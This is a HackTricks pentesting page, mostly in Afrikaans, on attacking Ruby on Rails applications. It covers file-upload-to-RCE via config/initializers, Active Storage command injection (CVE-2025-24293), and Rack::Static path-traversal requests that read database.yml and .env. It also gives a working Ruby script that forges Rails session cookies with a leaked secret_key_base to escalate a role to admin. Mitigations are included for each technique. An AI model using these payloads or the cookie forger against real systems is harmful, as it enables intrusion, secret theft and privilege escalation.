Ruby Truuks
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Lêeroplaai na RCE
Soos verduidelik in this article, die oplaai van 'n .rb
-lêer in sensitiewe gidse soos config/initializers/
kan lei tot remote code execution (RCE) in Ruby on Rails-toepassings.
Wenke:
- Ander boot/eager-load plekke wat by app-start uitgevoer word is ook gevaarlik as hulle writeable is (bv.
config/initializers/
is die klassieke een). As jy 'n arbitrary file upload vind wat enige plek onderconfig/
beland en later evaluated/required word, kan jy RCE by boot kry. - Soek na dev/staging builds wat user-controlled files in die container image kopieer waar Rails dit by boot sal laai.
Active Storage image transformation → command execution (CVE-2025-24293)
Wanneer 'n toepassing Active Storage gebruik met image_processing
+ mini_magick
, en nie-vertroude parameters aan image transformation methods deurgee, kan Rails weergawes voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sommige transformation methods per ongeluk standaard toegelaat is.
- 'n Kwetsbare patroon lyk soos:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
waar params[:t]
en/of params[:v]
attacker-controlled is.
-
Wat om te probeer tydens toetsing
-
Identifiseer eindpunte wat variant/processing opsies, transformation names, of arbitrêre ImageMagick-argumente aanvaar.
-
Fuzz
params[:t]
enparams[:v]
vir verdagte foute of uitvoering-newe-effekte. As jy die method name kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor host kry. -
As jy slegs read-access tot gegenereerde variants het, probeer blind exfiltration via gemanierde ImageMagick-operasies.
-
Remediëring/detektering
-
As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sien met Active Storage +
image_processing
+mini_magick
en user-controlled transformations, beskou dit as exploitable. Raai aan om op te gradeer en streng allowlists vir methods/params af te dwing en 'n geharde ImageMagick-policy te gebruik.
Rack::Static LFI / path traversal (CVE-2025-27610)
As die teiken-stack Rack middleware direk of via frameworks gebruik, laat weergawes van rack
voor 2.2.13, 3.0.14, en 3.1.12 Local File Inclusion via Rack::Static
toe wanneer :root
nie gestel/misconfigureer is nie. Gekodeerde traversal in PATH_INFO
kan lêers onder die proses se werkgids of 'n onverwagte root blootstel.
- Soek na apps wat
Rack::Static
inconfig.ru
of middleware stacks mount. Probeer gekodeerde traversals teen statiese paaie, byvoorbeeld:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Pas die prefix aan om by die geconfigureerde urls:
te pas. As die app met lêerininhoud reageer, het jy waarskynlik LFI na enigiets onder die opgeloste :root
.
- Mitigering: upgrade Rack; verseker dat
:root
slegs na 'n gids met publieke lêers wys en eksplisiet gestel is.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base
. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Aantekeninge:
- Ouer toepassings mag AES-256-CBC en salts
encrypted cookie
/signed encrypted cookie
of JSON/Marshal serializers gebruik. Pas salts, cipher en serializer dienooreenkomstig aan. - By kompromittering of assessering, roteer
secret_key_base
om alle bestaande cookies ongeldig te maak.
Sien ook (Ruby/Rails-spesifieke kwetsbaarhede)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Verwysings
- Rails Sekuriteitsaankondiging: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub-advies: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.